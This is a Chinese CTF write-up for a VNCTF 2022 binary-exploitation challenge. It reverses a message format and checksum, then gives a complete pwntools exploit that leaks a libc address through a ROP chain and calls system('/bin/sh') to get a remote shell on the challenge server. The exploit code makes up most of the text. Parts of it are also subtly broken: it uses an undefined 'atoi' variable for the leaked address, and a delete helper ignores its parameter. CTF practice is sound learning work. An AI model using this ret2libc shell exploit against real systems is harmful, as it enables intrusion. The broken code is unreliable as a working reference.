感觉重点在构造,但其实跑起来试试就逝世。拉锯数小时,beng bu zhu le。
官方wp传送门VNCTF 2022 Official WriteUp.pdf (tonycrane.cc)
打开main,里面123对应着创建删除运行。
重点在1里
第二个if如果不满足就会删除
v1里
决定了前4位的数(如果选择两个一起放,记得处理小端序),后面则告诉我们几位不能为0几位必须为0,12里非5即6
第二个里是个^。先去处理第一个,第二个再处理。
struct message {
uint32_t heap; // 固定值 0x28b7766e
uint32_t size; // submit函数中的memcpy会校验,依次为1 0x1001 0x2001 0x3001
uint32_t _1; // 不能为0
uint16_t type; // 要么为5要么为6
uint16_t _2; // 不能为0
uint16_t check_sum; // 校验和
uint16_t _3; // 必须为0
uint16_t flag1; // 可控制submit函数的分支
uint16_t flag2; // 当type为6时,必须为0xffff
char data[]; // 数据
};
两张图分别对应第一个和第二个。
def calc_sum(payload):
res = 0
payload = b"fakeipheadfa" + payload
assert len(payload) % 2 == 0
for i in range(len(payload) // 2):
tmp = payload[2*i: 2*i+2]
tmp = int.from_bytes(tmp, "little")
res ^= tmp
return res
打开1
if哪里直接告诉不能用5,只能用6,memcpy注意copy从v0开始。,v6哪里决定了size位。
思路采用先调用write把write的真实地址写出,利用已给libc找到system和binsh第二次重复上述。
exp
from pwn import *
io=remote("node4.buuoj.cn",29878)
elf=ELF("./pwn")
lib=ELF("./libc-2.31.so")
menu = lambda x : io.sendlineafter("4. Quit.\n", str(x))
def calc_sum(payload):
res = 0
payload = b"fakeipheadfa" + payload
assert len(payload) % 2 == 0
for i in range(len(payload) // 2):
tmp = payload[2*i: 2*i+2]
tmp = int.from_bytes(tmp, "little")
res ^= tmp
return res
def get_message(size, data=b""):
payload = b""
payload += p32(0x28b7766e) # head
payload += p32(size)
payload += p32(1)
payload += p16(6)
payload += p16(1) # 7
# check sum后续补上
payload += p16(0)
payload += p16(1) # 10
payload += p16(0xffff)
payload += data
last = payload[:0x10]+p16(calc_sum(payload))+payload[0x10:]
return last
def create(size, data=b""):
menu(1)
sleep(1)
data = get_message(size, data)
io.sendline(data)
def delete(idx):
menu(2)
sleep(0.1)
io.sendlineafter("Which?",str(i))
def submit():
menu(3)
#io.sendline(b'3')
sleep(0.1)
context.update(timeout=10)
payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001,payload)
pop_rsi_r15= 0x0000000000401bb1
pay_attack = flat(
[
pop_rsi_r15,
elf.got['write'],
0,
elf.plt['write'],
0x401a5e
]
)
create(0x3001, flat({112:pay_attack}, length=0x400))
submit()
write=u64(io.recv(6).ljust(8,b'\x00'))
system=atoi+lib.sym['system']-lib.sym['write']
str_bin_sh=atoi+lib.sym['str_bin_sh']-lib.sym['write']
delete(0)
delete(1)
delete(2)
delete(3)
payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)
pop_rdi=0x0000000000401bb3
pay_attack =p64(pop_rdi)+p64(str_bin_sh)+p64(system)
create(0x3001, flat({112-6:pay_attack}, length=0x400))
submit()
io.interactive()